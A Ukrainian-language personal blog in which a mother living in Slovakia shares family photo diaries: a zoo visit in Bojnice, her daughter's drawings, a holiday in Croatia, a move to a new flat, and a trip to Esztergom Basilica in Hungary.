Про “звілопалк і динозяблів” :)

привітик!
давайте я знову вам розкажу про зоопарк в Бойніце, чи як Улька охрестила – звіропарк;) Три роки тому я вже розказувала про нього, тож тепер трохи свіжих вражень, нових фоток і що змінилося з того часу. Читати далі

Advertisements

Фоторік: листопадове, Улькіні малювалки і трошки збитошного Андрійка:)

З старим новим роком вас всіх!
Я сьогодні буду далі фотозвітити. Листопад в нас був дуже хорошим, осінньо-кольоровим і теплим. А ще почали жовтіти сакури і я знову буду вам показувати, як же вони красивезно жовтіють!
SDC13029
SDC13031
Лянка, як завжди, робила листяний дощик і шурхала листя ногами)
SDC13023
SDC13018SDC13026
Ми навіть на грилювачку вибралися. На Шіклош. Це така висока-висока гора близько Левіц. Звідти просто шикарні краєвиди. Деякі фото, правда, ще з весни

SDC11471
SDC11472
SDC11475
А ще є отакі от “сходи в небо” з маленьким оглядовим майданчиком нагорі. Я тільки разок туди вилізала, страшно спускатися, там така висота і враження, що під прямим кутом майже.
SDC11465
SDC12985

А ще я давно хочу розказати вам про Улькині малювалки. Думала окремим дописом то зробити, але так як листопад мало фотографувався, доповню його Уляськіними малюваннями.
Отже, ви всі вже в курсі, що Лянка любитель щось малювати. Любов до карлюкання в неї присутня від самого початку – ото навчилася тримати олівець в руках, зрозуміла, що воно таке і всьо, дитина має хоч одне постійне захоплення. В Словаччині вона вже третій рік ходить на малювання і вони там не тільки малюють;)
Від початку і, практично, до тепер Ульку не дуже бавить колір. Який олівець вхопить, тим все і малює. Правда, десь так з 4,5 років почала трохи свої малюнки розфарбовувати, але то якось не дуже їй цікаво, так бачу. Розмальовки всіляки не дуже їй цікаві теж, але от вчора попросила купити їй “Барвистий світ”. Як не передумає, то куплю в Україні за 70 чи скільки там гривень, бо якось мені не дуже хочеться платити 10-12 євро за словацьке видання.
А ще я так замітила, що Ляна майже у всіх випадках малює тільки щось таке, що десь бачила вже намальоване. Тобто – малювати “з натури” їй не хочеться, каже, що не знає як. Намалювати щось вигадане, з власної уяви, так би сказати, їй теж не хочеться. Хоча, як прийде на неї настрій, то таке повимальовує:)
Але і тут є нюанси: Улька каже “я не знаю як“, а тоді просить “покажи!”. І от якщо їй показати покроково як щось намалювати, то вона намалює практично що завгодно.
А ще за малюнками дуже добре відслідковувати душевний стан дитини, я би сказала. Був в нас період, коли все мальоване було сумне, мало неусміхнені личка і були “такі злі, бо їх зачарувала відьма” або “сумні, бо були нечемні” або “бо вдарилися, бо загубили корону чи щось інше…”. Дякувати Богу, зараз всі позитивні і усміхнені)))
За своїми малюнками Улька часто вигадує якісь зовсім неймовірні історії, і любить малювати “за мультиками” чи “за книжками”.
Ще одна фішка – Уляська любить малювати сердечка: самі по собі, з очима і посмішками, і по центру грудей в котиків, дівчаток, мами, ангелика і так далі. А потім приносить мені той загорнутий папірчик і каже, що то мені прийшов лист. Коли я його розгортаю – бачу сердечко і вона зразу така пояснює “мама, то для тебе селдецко, то означає, що я тебе люблю“))).
Не так давно в Улькиних малювалках появилася ще одна особливість. Коли вона кимось незадоволена чи на когось зла, то малює ту особу, а потім її закреслює-закарлюкує. Ну наприклад, я не дозволила подивитися мультик і вона, хоч і не завжди, але деколи супиться і каже “мама, ти зла! я тебе зала наквеслю(=накреслю, словацькою “намалюю”), і так замалюю! певеклеслю!!!” чи “Андійко! шо ти накоїв! звий хвопчик!  мама, Андійко звий! я його зава поклеслю!”
Щоб ви розуміли ситуацію до кінця, слово “злий” Улька вживає не в українському розуміння значення цього слова. Просто словацькою zly, zla – це щось на зразок українського “недобрий, недобра” і навіть десь трохи “поганий”. Я так думаю, Улька тут має на увазі “неправий, неправильний”, бо ж робиш щось, що їй не подобається.  Про деякі ситуації вона теж каже, що то зле, наприклад, коли хтось викине сміття під ноги, вона зразу коментує, що то є зле смітити. Ну, думаю ви розумієте. І от я думаю, то добре чи не дуже, що дитина в такий спосіб “виливає” свої негативні емоції. Як думаєте?
Ну і власне самі малюнки, які я була назбирала по хаті і вчепила на стіну. Лянусі то було приємно і вона всім показувала свої малювалки))) Це – загальний вигляд:
SDC13000
Є трішки клеєного з паперу і з Нравок дещо, а отой котик вгорі то перемальований з готової картинки на кальку і так приклеєний. Робила на малюванні.
Ну, і дещо зблизька: оце наша сім’я:
SDC13002
Це мама (чомусь завжди з великою головою) і котик, яких Улька почала повально малювати в усіляких можливих позах після того, як намалювала на виставку Цукрика, і Улянка. Автопортрет можна сказати)))
SDC13008 SDC13001 SDC13005
Вчилися малювати коровку (ота з сердечками – моя, здається), тим більше, що в нас на столі є клейонка з кумедними коровами. Потім пішли варіації на тему баранчика:) Баранчику я тільки роги і вуха обвела жирнішим “шрифтом”)))
SDC13011 SDC13012
А це перед морем ми трохи обговорювали нашу поїздку, дивилися відео і картинки про море в інтернеті. Уляська ж ніколи не була на морі і не дуже знала, що то таке, хіба з мультиків. В дитини пішла морська тема:
SDC13006 SDC13004 SDC13007
Ну і шедевр, як на мене! Це вже в Хорватії після першого дня я запропонувала Лянці намалювати море, і вона зразу така “я не знаю як, покажи”. І ото я ручкою з однієї сторони альбому малювала як небуть море, а вона з іншого боку олівцями повторювала:
SDC13009

Ну і ще на десерт трохи шкодливого Андрійка. Це була плекана мною аж цілих два тижні котяча трава для Цукрика. Цукрик теж офігівшими очима спостерігала все те неподобство. Тільки Андрійко залишався спокійним і впевнено та методично доводив діло до кінця:
SDC13050 SDC13049 SDC13046
SDC13047

Оце і все, ще почитаємось:)

Фоторік: Хорватське літо: Море Прімоштень

Ну, привітик всім. Я знову на звязку і буду вам дорозказувати про Хорватію. Буде трохи тексту і море фоток про Море)))
Як я вже писала раніше, хорватську відпустку ми розділили на Плітвицькі озера і на Море. І якщо з озерами ще було все менш-більш вирішено наперед, то про море в нас було відомо тільки те, що ми хочемо на море))) Ми просто після озер всілися в машину і поїхали в напрямку моря. І отак з вікна дивилися на краєвиди, де нам більше сподобається (там автобан йде практично попри море і все дуже гарно видно). Ігор приблизно знав куди можна поїхати, але ми чомусь вирішили зупинитися в тому містечку, яке нам найбільше приглянеться по дорозі.
IMG_20150823_162747

IMG_20150823_150334

IMG_20150823_152144

IMG_20150823_152203

IMG_20150823_152530

IMG_20150823_152706

IMG_20150823_152731
Окремо хочу згадати про дорогу: вона дуже кльова, можна просто отак їхати і їхати і милуватися безкінечно, гори, море, гори, море… містечка і села, і тунелі, багато тунелей, а ще будиночки маленькі акуратні і купа невідомих рослин))) Дороги засаджені олеандрами, які якраз цвіли, пальмами, соснами… ех… кльовезно так. На вїзді на автобани видають талончик, на виїзді за тим талончиком платиш за дорогу. Все культурно і цивілізовано.
Ну отак ми їхали і їхали і таки заїхали в Прімоштень – таке невеличке містечко біля моря, про яке Ігор чув, що там непогано.
IMG_20150823_163358Залишили машину на парковці, взяли дітвору в руки і почалапали вуличками шукати собі житло. Таке враження що всі будиночки то апартаменти для туристів, бо іншого чогось, що би не здавалося в оренду я жодного разу й не бачила. Житло знайшли швидко, поскладалися і ще на вечір чкурнули на море. Оце вуличка і будинок, де ми жили. Мене взагалі найбільше (крім моря, звичайно) потішили оті будиночки з каменю, ламані і неправильної форми, зі сходами і терасами, і вікна деревяними ставнями закриті… казкові якісь такі…
IMG_20150824_170547 IMG_20150824_170630
Я і Море: Море вражаюче! Море дивовижне! Море неймовірне! І таке чисте що аж не вірилося. В мене була перезагрузка абсолютно всього “що я знаю про море”))) Ну бо такого моря я навіть не уявляла собі. І таке блакитне блакитне, ммм…. Трохи незвичні пляжі з камінцями, але такий пляж цікавіший, – можна ті камінчики розглядати до безкінечності)))
Ігор і Море: кльове, треба було вудки брати)))
Андрійко і Море: урааа!!! скільки води багато! Брррр, вона зимна! І хвилями камінчики по ногах бють… ліпше посиджу на березі і побавлюся камінчиками. І втечу кілька разів від мами з татом. Хочу пити. Хочу їсти. Кладіть спати….))))
Улька і Море: ого який великий басейник! Всьо, я тут буду жити. Камінчики можна в воду кидати? Давайте їсти. А коли ми знову підем в той великий басейник? Я не хочу додому. А ми завтра ще сюди прийдемо? А можна морозиво? І піццу?  А на батут!
Це якщо коротко враження наші охарактеризувати, але загалом було так: перші дні погода була не дуже сонячна, трохи хмарилося, але то вийшло навіть на краще, бо ми не погоріли а так по трохи звикли до сонця. Десь так на третій день в Андрійка виявилася алергія на сонце ( Тому він сидів на березі з голою дупою але в футболочці і бавився камінчиками. Часами залізав в воду по коліна і все. Улька море зацінила найбільше, але вперто називала його “великим басейником”)))
IMG_20150824_104651 IMG_20150824_104826 IMG_20150824_110732 IMG_20150824_115622 IMG_20150824_132651 IMG_20150824_154613 IMG_20150824_154643 IMG_20150824_194918 IMG_20150824_195033 IMG_20150825_121657 IMG_20150825_121959 IMG_20150825_122129 IMG_20150825_123436 IMG_20150825_123509 IMG_20150825_124545 IMG_20150825_125047 IMG_20150825_193347 IMG_20150828_095713 IMG_20150828_095906 IMG_20150828_105220 IMG_20150828_110822 IMG_20150823_175929 IMG_20150823_180043 IMG_20150823_180303
Море морем, але саме містечко теж було дуже цікавим і дуже красивезним. Оті всі будиночки з каменю, апельсинові сади, інжир і оливкові дерева попри дорогу, сосни на пляжі і білки на пальмах… А ще сувеніри і чудове деревце Богуміла, оте фіолетове, яке в кожному дворі росте. Враження якоїсь казковості і нереальності…
Це Улька шоколадне морозиво їла))) морозиво сама шоколада була)))
IMG_20150824_104518
А це спуск до пляжу через такий от сосновий лісочок
IMG_20150824_164143

Ну і Богуміла висотою в будинок
IMG_20150824_165435 IMG_20150824_165614 IMG_20150824_165741 IMG_20150824_165828 IMG_20150824_165834 IMG_20150824_170159 IMG_20150824_170400 IMG_20150824_170446 IMG_20150824_194638 IMG_20150825_122257 IMG_20150825_122522 IMG_20150825_122617 IMG_20150825_122627 IMG_20150825_122708 IMG_20150825_122753 IMG_20150825_123000
Отакі от сувенірні будиночки мені дуже сподобалися, тож з сувенірних назбираних на морі каменюк хочу зробити щось таке подібне
IMG_20150825_125841 IMG_20150825_125907 IMG_20150825_130041
IMG_20150827_001234 IMG_20150828_191156 IMG_20150828_191802 IMG_20150828_191837 IMG_20150828_191921 IMG_20150828_192711
Хочемо ще, кажуть на острові Крка неймовірно гарно, може, дасть Бог, наступного літа туди поїдемо;)

Фоторік: Хорватське літо: Плітвицькі озера

Привітик всім!

Опробовую новий сайтик, я ще й сама його як-би робила, тож як будуть якісь неточності чи зауваження – пишіть, буду виправляти)
Ну що, в мене стільки всього назбиралося написати, а найбільше книжковражень, але давайте я завершу мій літній фоторік. Третю частину нашого літа, найкоротшу, але з найбільшими враженнями, ми провели в Хорватії. Як я вже згадувала, на морі ми не були дуже і дуже давно. А Хорватія якби поруч, машиною по автобані раз і заїхав. А ще мене дуже манили Плітвицькі озера. От дуже-дуже хотіла їх подивитися.
Значить так, про ХОРВАТІЮ: саму поїздку не дуже сильно планували. Було два пунктики, де ми хотіли побувати – Озера і Море. З того і виходили при виборі маршруту. А ще погортали хорватського розмовника, подивилися основні слова привітань і прохань хорватською. Трохи кумедна мова як для українського вуха, але дуже прикольна. От “прошу” хорватською звучить “молім”, “дякую” – “хвала”, а “морозиво” – “сладолед”))) Але в цілому порозумітися можна. І ще така особливість – весь обслуговуючий персонал, від власників, офіціантів і навіть прибиральниці розмовляють англійською. Але українську і словацьку вони теж менше-більше можуть зрозуміти.
Отож посиділи ми з коханим чоловічком пару годинок в інтернеті і забронювали якийсь пансіонат біля Озер. Дітиська дорогу відбули добре, трохи спали, трохи зупинялися побігати і пообідати, але на вечір були вже на місці. Переночували, а зранку поснідали і на Озера.
А далі, зважаючи що цей один тиждень літа вражень і фотографій назбирав більше, ніж ціле літо взагалі, то фотозвітити буду двома дописами. Цей про Озера, а наступний буде про Море:)

ПЛІТВИЦЬКІ ОЗЕРА. Це такий національний парк в Хрватії, і якщо будете їхати на море, то при можливості не пошкодуйте собі одного дня вділити на ці озера. Бо то краса неймовірна. В мене було стійке враження, що це якась компютерна графіка, бо уявити собі, що ця краса реально існує в світі, було важко, навіть попри те, що я цю красу споглядала на власні очі.
Озера дивовижні. Про них важко розповідати, їх просто треба побачити. Я тільки поділюся нашими фото(хоч вони і не зовсім якісні, і передати тієї всієї краси все одно не можуть, але…) Ми пройшлися тим найкоротшим маршрутом на 3-4 годинки (бо є і довші і навіть на кілька днів з ночівлею), з дитячим візочком і дітьми, відповідно. Було не аж так важко, хоча деколи той візочок приходилося в руках нести. Дуже там вузенькі ті стежечки, так що варто брати з собою змінний одяг, бо булькнути з тої стежечки в озеро то дуже нехитре діло. І ще – такої блакитної води в озерах я не бачила! І отой неймовірний блакитний колір на фотографіях зовсім не фотошоплений. Вони реально настільки блакитні! Наразі – Плітвицькі озера то найкрасивіша річ, яку я бачила за своє життя))) Маршрут був так розпланований, що спочатку ми пройшлися низом біля самих озер, а вони такі різні! І багаторівневі: одне озеро маленькими і не дуже водопадиками переходить в друге, а те друге в третє… Потім паромом ми переплили велике озеро на інший бік, там автобусом трохи проїхалися і ще прогулялися верхом озер. От з того верху озера як на долоні. І від того аж в голові паморочилося. Самі дивіться:
IMG_20150823_104850

IMG_20150823_105651

IMG_20150823_111749

IMG_20150823_132132

SDC12380

SDC12394

SDC12400

SDC12406

SDC12412

SDC12416

SDC12419

SDC12433

SDC12436

SDC12445

SDC12448

SDC12460

SDC12474

SDC12484

SDC12496

SDC12505

SDC12511

SDC12518

SDC12523

IMG_20150823_102400

SDC12530

Про наш новий “домчек”, проект “фоторік” і інші приємності: частина перша

Ну що, начитавшись Наталі, Юлі і Олі з їх щотижневими фотозвітами, я таки вирішила, що теж буду фотозвітити: тим більше, що вже років зо два збираюся такий проектик розпочати))) Тож, урочисто розпочинаю наш фоторік!
А рік починаю з п’ятниці 20 лютого 2015 року. Бо в цей день ми остаточно перебралися в іншу хатку, в наш майже власний “domček”, в нашу “chalupku”))) Чим не привід запам’ятати цей період? Тому й така некругла дата і я планую її щороку святкувати, як наше власне домашнє свято – день народження домчека, отак от:)))
Так що давайте я вам спочатку розкажу про домчек і переїзди(наразі – без фото, бо фотити ще нема що, одні коробки всюди), а про перші два тижні з фото і всіма подробицями – другою частиною, бо дуже вже довгий допис виходить, замучитеся читати).
Маю таку надію – вам буде цікаво;)
Отже, якщо коротенько, то ми в Словаччині вже третій рік. І жили до цього часу на орендованій квартирі. Квартира була трьохкімнатна, велика, на восьмому поверсі і майже без меблів. Був необхідний мінімум і все. Оті останні два пунктики мені і не подобалися: не люблю високі поверхи, бо не відчуваю зв’язку з землею(та-та, мені чомусь треба бачити з вікна трохи вулиці, людей і дерева, а восьмий поверх – то трохи зависоко) ну і отой мінімум меблів – трохи важкувато робити хату затишною, якщо й вазу з квітами не дуже є куди поставити (і хоча на новій квартирі теж не дуже є де ставити вазу, але з часом сюди все докупим, і буде тут абсолютний “фен-шуй”, як кажуть наші друзі))). А ще та квартира стояла на продажі, і я, якщо чесно, дуже хотіла, щоб її нарешті хтось купив, бо тоді була б причини переїхати на іншу. І от нарешті, за два з половиною роки її таки купили. А в нас два місяці, щоб знайти нове житло. І почалося: безкінечне сидіння на ріелторських сайтах, ходіння по квартирах….
Скажу одразу – квартири в Словаччині, навіть на таке маленьке містечко як Левіце, досить дорогі: і в плані оренди і в плані купівлі. В середньому трьохкімнатна квартирка без меблів чи й з такими, щоб її орендувати, буде коштувати 380-400-450 євро на місяць. Або трохи дешевше, але в такому райончику, що в садочки і центр прийдеться добиратися автобусами чи дуже довго пішки. Щоб купити, то це в середньому 35 за квартиру в первісному її стані і далі 40-50 і більше тисяч євро: залежить від площі, стану і того ж району розташування. Це теж багацько. Але є ще така штука, як кредит, і в Словаччині (в порівнянні з Україною) він дуже навіть доступний, я вам скажу. Якщо опустити всю тяганину з банками і іншими службами, то сплачувати кредит за квартиру виходить майже на ті самі гроші, що й орендувати.
Отож, уявіть собі, після всіх мук ходіння по квартирах я знайшла ту, в яку «влюбилася», як тільки переступила поріг. Та-та, таке буває: квартирка невелика, але дуже затишна, на третьому поверсі 4-риповерхового будинку(дуже люблю такі малоповерхові будинки) і за 50 метрів від нашої старенької. Кльово, правда? Бо я вже так звикла до того райончику, де ми живем, що якось і не уявляла, як то жити десь інше. Ми речі всі за тиждень по трошки поносили в руках. А ще з свого нового балкону я бачу балкон моєї коліжанки і колишньої сусідки Алки. Бо ми вже так звикли до того, що ми «разом», що коли я п’ю на балконі чи на кухні каву і бачу Алку, яка теж сидить на балконі і п’є каву і якщо при цьому ще й балакати по телефоні, то складається враження, що ми, як і раніше бувало, п’ємо каву разом і балакаємо собі про всяке різне мамське і дівчаче)))
На період переїзду приїхала наша буся Оля, то ж було трохи легше – поки буся була з дітьми, я спокійно собі ходила на наш домчек(можна я квартиру буду так називати? Дуже мені любиться оце словацьке слово «domček», воно таке домашнє і затишне))) прибирати і розставлятися з коробками, меблями і іншими речами. Правда, на Словачину напав якийсь дуже моцний вірус грипу, і нас всіх скосило( Одна я не піддалася, і то добре, бо хтось же мусів бути здоровим і пильнувати всіх інших. Найбільше і найтяжче перехворіла мама. Але добре, що їй вже краще))) Та й дітиська мої вже вичалапали з того кашляння і сопляння.
А потім були два тижні (а скільки ще по переду))) обживання домчеку: безкінечне переставляння речей з одного кута в інший, з однієї шафки в іншу і так далі…. О, забула написати – квартирка має величеееееезну кладовку! З вікном! Як ще одна кімната, і то так добре, я вам скажу) Сьогодні якраз отой другий тиждень закінчується, а в мене враження, що пройшов уже місяць, не менше. Я навіть по календарю звірялася… два рази, бо чомусь так до кінця ще й не здається, що то тільки два тижні)))
Словаки квартири, як правило, продають і здають в оренду з кухонними стінками. Ну це якось як невідємна частина словацьких квартир, чи як, а нам дісталася ще й з стареньким, але працюючим, холодильником, повністю умебльованою спальнею і вставною шафою в коридорі. Це великий плюс для початку, я вам скажу – бо коли грошей і так обмаль, не треба одразу ж думати про найнеобхідніше умеблювання. Наразі, ми докупили пральку і плануємо Ульці кімнату вмеблювати повністю. А решта буде потім.
Так як домчек на третьому поверсі, то ми економимо на нічних лампах: просто в вікна світять нічні ліхтарі на вулиці, і якщо вдало відрегулювати жалюзі – спальня цілу ніч приємно освітлюється, що мені дуже зручно, бо я нормально бачу малого.
Так що, як ви вже зрозуміли, я в захваті від нової квартири. Єдине, чого мені тут буде не вистачати, так це краєвидів. На старій квартирі, з висоти восьмого поверху, краєвиди були неймовірні. Особливо любила розглядати хмари і дивитися захід сонця. Це таки було страшенно приємне заняття))) Деколи мала таке враження, що можу простягнути руки і набрати собі в пригоршні шматочок хмари до кави:

Ну що, буду завершувати, солодких снів вам:)

Ну і мені теж, звісно ж)))

Подарувати посмішку просто так:)

Привітик:)

В рамках чудового проектику “Добрий флешмоб “Анонімний подарунок”, організованого Христею, ми сьогодні з Улькою зробили комусь приємність і змусили посміхнутися (я так надіюся)
Давня ідея якось зменшити кількість пилюкозбирачів (читайте – м’яких іграшок) в кімнаті шляхом їх роздарування сьогодні нарешті була втілена в життя. Щоб було цікавіше – мені придумалося залишати іграшки в місцях перебування дітвори з коротенькими записочками-зверненнями.
Улянка милостиво дозволила подарувати ведмедика, тому ми залишили його на вікні в приміщенні курсів англійської мови. Через це і записочка на англійській:)

Ведмедик пам’ятний – мені його подарували на моє 18-тиріччя, а це було ого-го-го-надцять років тому! Але так як ним ніхто не бавився, ведмедик зберігся в хорошому стані.

Хто його взяв – я не бачила, хоч дуже кортіло:) Може на наступний раз вдасться підгледіти реакцію тих, хто знайде такого подаруночка)

Базиліка. Естергом. Угорщина.

Привітики!

Ділюся враженнями, поки ще свіжі. На вихідних ми відвідали Базиліку в угорському містечку Естергом. Спочатку думала тільки фотки закинути і власні враження трошки дописати, але щоб картинка булу цілісною і ви не лазюкали гуглом і вікіпедією в пошуках додаткової інформації про Базиліку, я потрохи буду її наводити поміж власні враження. Попереджаю зразу, буде багато фоток і не завжди якісних. Це ж бо я фоткала=Р
Поїхали:


Повна назва базиліки звучить як базиліка вознесіння пресвятої діви Марії і святого Адальберта. Є головним католицьким храмом в Угорщині і служить кафедральним собором архієпархії Естергома-Будапешта (велика шишка серед церков Угорщини=).
Як каже вікіпедія, це найбільша церка і найвища будівля в країні: довжина будівлі — 118 метрів, ширина — 49 метрів, а висота — 100 метрів. Окрім того, знаходиться на високій горі на березі річки Дунаю, що ще більше додає величі і висоти. Принаймні, зі сторони Словаччини, Базиліку видно задовго до того, як до неї доберешся.

Отам, в самому низу, якщо придивитися, то побачите Ігоря з Улькою.

Реально, будівля велетенська, і якщо стояти внизу під стіною, а голову задерти вверх і дивитися “по стіні на небо”, то в в голові починає макітритися, втрачається точка опори під ногами і відчуваєш себе такою маленькою-малеееееенькою казявкою (і чому такого відчуття нема, коли дивитися на мракодрап(словацький хмарочос, хмародряп чи хмарочіх чи як там правильно буде… ну ви зрозуміли, я думаю)))




Базиліка була заснована в 1001 році, але реально розбудована з 1822 по 1856 роки. Тому виглядає не дуже древньою, але все одно, через те, що зовнішні стіни побудовані з великих кам’яних блоків, відчуття чогось такого нетеперішнього червячком лазить десь там в середині і перехоплює дух.

Купа туристів і мадярів з капелюхами, які за будь-які гроші будуть намагатися вам їх продати. З початкових 5 євро нам ціну збили до 3, але ми все таки не купилися).
Для початку ми обійшли навколо базиліки, бо краєвиди звідти просто неперевершені.

Улька тішилася і весь час кричала, щоб її підняти вверх бо “Няня нісього не басє”.




Тому коханий чоловік висадив її на шию, а вона, як істинна жінка, сперлася татові на голову і звісила нозі, за які тато дитину тримали, щоб та не беркицькнулася до низу. Бо сидіти спокійно і нерухомо, навіть на шиї, наша дитина просто не вміє)))

Дальше зайшли в середину, де в сувенірному магазинчику купили собі магнітик і ще щось там на згадку.
Потім зайшли безпосередньо в сам храм, помолилися, поставили свічечки за здоров’я. Улька посиділа на лавочці і навіть встигла з неї звалитися з плачами “Няня впаваааа”.
В храмі знаходиться велетенський орган, змонтований в 1856 році. На час будівництва він був найбільшим в Угорщині і мав 3530 труб, 49 регістрів і 3 мануали (що воно таке я не в курсі). Потім орган був кілька разів реконструйований. Востаннє в 80-х роках 20 століття і до цього часу реконструкція так і не завершена повністю. Зараз орган має 85 регістрів і 5 мануалів, планується, щоб регістрів було 146, що зробить його третім по величині в Європі. Розмір труб від 10 метрів до 7 міліметрів. Дуже хочеться його послухати. Чудова музика, напевно…
В середині храм трохи інакший, ніж я звикла. Над алтарем знаходиться велика ікона розмірами 13,5 на 6,6 метрів, яка є найбільшою в цілому світі з числа написаних на цілісному куску полотна (так каже вікіпедія). Присвячена ікона вознесінню Богоматері і була написана венеціанським майстром Мікеланджело Гріголетті. Збоку знаходиться кафедра єпископа.
Люблю в церкві дивитися вверх під купол, це якось так заворожує… Кажуть вся позитивна енергія від богослужінь скопичується під оцим центральним куполом. Особливо гарно і якось навіть містично це все виглядає, якщо сонце світить через вікна під куполом на образи і можна навіть розрізнити ці окремі промінчики світла. 

Багато фото в середині самої церкви не робила… було якось незручно клацати фотоапаратом і порушувати ту особливу атмосферу затишку і якогось такого умиротворіння чи що.
А, ще варто знати, що для того щоб зайти в середину храму маєте бути відповідно одітими: дівчата у спідницях до коліна і закритим верхом, може бути і футболка (в розумінні не короткі топи, щоб живіт і груди були менш-більш прикритими) і чоловіки в штанях, а не шортах. Хоча когось, хто б за цим слідкував, я не побачила, а народ в середині був одітий дуже різношерстно: і в шортах, і дівчата в штанях і спідницях вище коліна… думаю, основне, щоб одяг не був вульгарним і хоч якось відповідав місцю знаходження його хазяїна.
Цікава базиліка ще й в тим, що за 2 євро(здається) з людини можна піднятися вверх на самісінький купол і обійти його по кругу з зовнішньої сторони. Сходи йдуть по кругу і розраховані лише на одну людину. Тому туристів пускають по кілька людей, а вихід з купола зовсім інший, бо розминутися на тих східцях неможливо. Через те, що сходи дуже вже сильно по кругу і здається, що вони безкінечні (я забула порахувати), поки ми вийшли на верх, в мене закрутилася голова і було відчуття пройденого марафону в хто-зна скільки кілометрів. Якби я палила, то після тих сходів обов’язково кинула б=) Ноги болять до тепер. Але вибратися на купол вартує будь-яких зусиль, бо те, що ви побачите обійшовши його по кругу, вартує тих сходів 100 тисяч разів і більше.
І навіть попри боязнь висоти це круто – пройтися по куполу базиліки.
Улька весь час кричала “Ух ти… як кьисьиво!!!” і їй було пофіг на висоту.
Дихання направду перехоплює – чи то від страху, що ти майже на 100 метрів ближче до неба і стоїш на півметровій дощечці з метровою огорожею
чи то від побаченої краси, чи то від одного і від другого вкупі… Там треба постояти, щоб оте все відчути, бо ні словами, ні фотками я того не передам.

Є ще біля базиліки щось таке як  замок, відреставрований, судячи з усього. Ми його оглянули згори і всередину вже не заходили.
Накінець ми поїли морозива, спустилися ліфтом в винні погреби, які є під базилікою і де можна попробувати і купити всякого різного угорського вина, а ще почитати його історію. Є тут і ресторанчик з шведським столом, де можна поїсти, правда цін не знаю. Парковіско (стоянка) є біля самої базиліки і коштує 2 євро за цілий день.
В Угорщині своя грошова одиниця – форінти по курсу в районі 180-300 форінтів за 1 євро, але можна розраховуватися і в євро, правда курс буде не таким вигідним як в обмінниках.
До слова, персонал в базиліці майже весь спікає інглішом, тому порозумітися не проблема. А якщо знаєте угорську, то взагалі))).
Якщо їхати в Естергом, то можна ще заїхати на їхній аквапарк, або в сусіднє словацьке містечко Штурово. Там теж є хороше купаліско. Всього-то переїхати по мості через Дунай.
Поки писала, погуглила, що в базиліці можна було набагато більше всього подивитися і що ми досить всього пропустили. Але то залишимо для оглядин на наступний раз)

Оце все, наразі, ще почитаємось=)
Па-па

Знайомтеся: найбільший зоопарк Словаччини в Бойніце

Вітаннячка з Словаччини!
Тут нарешті трошки похолодало і я дістала сили і натхнення хоч щось робити;) От ніколи людина, напевне, не буде абсолютно задоволеною… особливо погодою. У Львові я стогнала і нарікала на дощ, а приїхали до Левіц як в Африку: неймовірна спека і ні каплі дощу, ні подиху вітру… Не повірите, але зранку в 6.00 годин на градуснику майже +30… а на сонці через обід цілих +64 якось було… і в хаті вночі +30… повний капець( я ходила як варена і абсолютно нічого не хотіла,… тобто, щось та й хотіла, але сама не знала чого) Так буває, особливо в жінок)))
Так, ліричний відступ на погоду завершено, тепер про цікавіше: ми на кінець-то розпочали трошки вивчати Словаччину і першим в списку був найбільший зоопарк Словаччини в Бойніце. На сторінці зоопарку можете собі глянути всіх звірюк, що там живуть.
Бойніце (словацькою Bojnice) це невеличке містечко в західній Словаччині з населенням десь під п’ять тисяч, але дуже цікаве в плані погуляти-подивитися: бо є тут найбільший зоопарк Словаччини, замок і купаліска з мінеральними джерелами, тобто басейни, а ще кажуть, варто відвідати костел святого Мартина і якусь печеру, та й саме містечко, в цілому, дуже мальовниче. Містечку цьогоріч якраз 900 років було.
Їхали ми з Левіц трохи більше години, бо дорога через гори, а там не розженешся, зате краєвиди суперові. Біля зоопарку є кілька парковок, залишити авто на цілий день нам коштувало 4 євро. Заїхали в Бойніце десь так по 11 годині і відразу в зоопарк. Допоки обійшли весь, то було вже десь по четвертій, бо гуляти там є де. Сам зоопарк дуже великий за територією, 41 гектар, а от щодо живності трохи мені забракло. Хоча, то взагалі перший зоопарк, який я відвідала в своєму житті і багато всілякої звірини взагалі перший раз на очі бачила, а тому на щось нарікати взагалі не маю права).
Збоку перед зоопарком є Бойніцький замок. Ззовні дуже красивий, а от в середину ми не попали: дуже велика черга туди була та й квитки не зовсім дешеві – по 10 євро з людини за півторагодинну екскурсію. Так що замок ми собі напланували на пізніше, тим більше, що його зараз якраз трохи поновлюють:)

Дальше перед входом до зоопарку є такий собі невеличкий базарчик з сувенірами, де ми за 2,50 євро купили магнітика напам’ять, і ресторанчики і гарний парк з озером, де можна просто погуляти чи на травичці посидіти.
А ще стояли хлопці і дівчата дуже середньовічного вигляду з усіляким хижим птаством. Орла можна було навіть погладити.
Вхід в зоопарк коштує 4 євро з дорослого, але є гнучкі знижки для студентів, дітей і доходцов (dôchodcov), тобто, пенсіонерів. Доріжки в зоопарку дуже раціонально розташовані: йдеш практично по колу, обходиш всіх звірюк і повертаєшся на початок, що дуже зручно. В зоопарку є багато атракцій для дітей і всіляких кафешок з фастфудом, де можна попоїсти якогось гамбургера чи “гарячого пса”. Та-та, хотдоги в словаків детально “перекладені” на словацьку, самі дивіться:
Ні гарячого, ні рябого, ані великого пса ми їсти не захотіли, обійшлися гранолками (картопля-фрі), кофолою (щось типу кока-коли місцевого виробництва) і якимось хімічним пійлом типу мороженого солодкого льоду неймовірно яскравих кольорів.
Дальше суто про звірину. Попереджаю зразу: фотки є, але мало хто з тварин дивиться в камеру( Як правило, вони всі до мене поверталися задом, як тільки я об’єктив на них наводила(
Починається зоопарк з усілякого птаства: сови, соколи,

орли,


і навіть такий рідкісний білоголовий сип, лебеді, фламінго, який дуже кумедно сидів на зігнутих колінах

папуги, гуси, страуси, павліни, казуари, фазани, ібіси


і ще всяких різних…

До речі, гуси, лебеді, фламінго і качки не в клітках, а в таких собі вольєрах під відкритим небом з невеликими озерцями. Чи то птахам крила попідрізали, чи їм там так добре, але плавають вони собі там спокійно і нікуди навіть не думають втікати. В озерцях сила силенна риби плаває і черепахи. Спострерігали таку картину, коли риба “набила” качку і вигнала її на берег з води. Було кумедно)))
Місцеві ворони не гидують під’їдати з загального корита на пару з казуаром
Дальше була велика “яма” з ведмедями. Ті сиділи в воді з блаженними посмішками на мордах і виглядали навіть дуже задоволеними.

В окремій будівлі є віваріум з усілякими рибо-жабо-ящірко-павуко-гадами) Найбільше сподобалася синя жаба і синій варан. Ну і зміюки всі були дуже яскравими, бо тільки но шкіру поміняли. І була ще велиииика черепаха, вся поросла водоростями!!!






Улька, звичайно ж, випросила собі морозиво)

Ось таку чудернацьку квіточку надибали… а що воно таке не знаю.

